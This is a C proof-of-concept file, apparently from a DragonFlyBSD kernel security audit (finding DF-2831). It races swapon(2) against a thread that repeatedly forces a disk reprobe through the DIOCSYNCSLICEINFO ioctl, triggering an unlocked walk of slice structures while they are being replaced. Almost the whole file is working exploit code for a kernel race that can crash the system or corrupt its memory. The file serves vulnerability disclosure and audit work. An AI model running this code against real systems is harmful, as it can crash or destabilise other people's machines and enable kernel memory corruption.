DragonFlyBSD Kernel Audit
DF-2831 / poc2831.c
← back to finding ↓ download raw
/*
 * DF-2831 PoC: race swapon(2) (-> swaponvp -> dev_dpsize -> dssize(), which
 * walks dp->d_slice with NO ds_token, subr_diskslice.c:849-870) against a
 * forced-reprobe hammer (DIOCSYNCSLICEINFO arg=1 on the whole-disk node,
 * which makes disk_msg_core disk_probe() replace + dsgone() the struct
 * diskslices that dssize is walking).
 *
 * usage: poc2831 <wholedisk> <swapdev> <iterations> <hammer:0|1>
 */
#include <sys/types.h>
#include <sys/ioccom.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <pthread.h>

extern int swapon(const char *);
extern int swapoff(const char *);

#ifndef DIOCSYNCSLICEINFO
#define DIOCSYNCSLICEINFO _IOW('d', 112, int)
#endif

static volatile int stop;
static const char *g_disk;

static void *hammer(void *arg)
{
    int fd = open(g_disk, O_RDWR);
    long n = 0, ok = 0, ebusy = 0, oth = 0;
    int one = 1;

    if (fd < 0) {
        perror("[hammer] open wholedisk");
        return NULL;
    }
    while (!stop) {
        if (ioctl(fd, DIOCSYNCSLICEINFO, &one) == 0)
            ok++;
        else if (errno == EBUSY)
            ebusy++;
        else
            oth++;
        n++;
    }
    fprintf(stderr, "[hammer] %ld DIOCSYNCSLICEINFO: %ld ok, %ld EBUSY, "
            "%ld other\n", n, ok, ebusy, oth);
    close(fd);
    return NULL;
}

int main(int argc, char **argv)
{
    const char *disk, *swap;
    long iters, i;
    long ok = 0, enxio = 0, ebusy = 0, enoent = 0, einval = 0, oth = 0;
    pthread_t th;

    if (argc != 5) {
        fprintf(stderr, "usage: %s <wholedisk> <swapdev> <iters> <hammer>\n",
                argv[0]);
        return 2;
    }
    disk = argv[1];
    swap = argv[2];
    iters = atol(argv[3]);

    if (atoi(argv[4])) {
        g_disk = disk;
        if (pthread_create(&th, NULL, hammer, NULL) != 0) {
            perror("pthread_create");
            return 2;
        }
        usleep(100000);
    }

    for (i = 0; i < iters; i++) {
        if (swapon(swap) == 0) {
            ok++;
            if (swapoff(swap) != 0) {
                fprintf(stderr, "iter %ld: swapoff: %s\n", i, strerror(errno));
                break;
            }
        } else {
            switch (errno) {
            case ENXIO:  enxio++;  break;   /* dssize() == -1 signature */
            case EBUSY:  ebusy++;  break;
            case ENOENT: enoent++; break;
            case EINVAL: einval++; break;
            default:
                oth++;
                fprintf(stderr, "iter %ld: swapon: %s\n", i, strerror(errno));
                break;
            }
        }
    }
    stop = 1;
    if (atoi(argv[4]))
        pthread_join(th, NULL);

    printf("RESULT iters=%ld ok=%ld ENXIO=%ld EBUSY=%ld ENOENT=%ld "
           "EINVAL=%ld other=%ld\n",
           iters, ok, enxio, ebusy, enoent, einval, oth);
    return 0;
}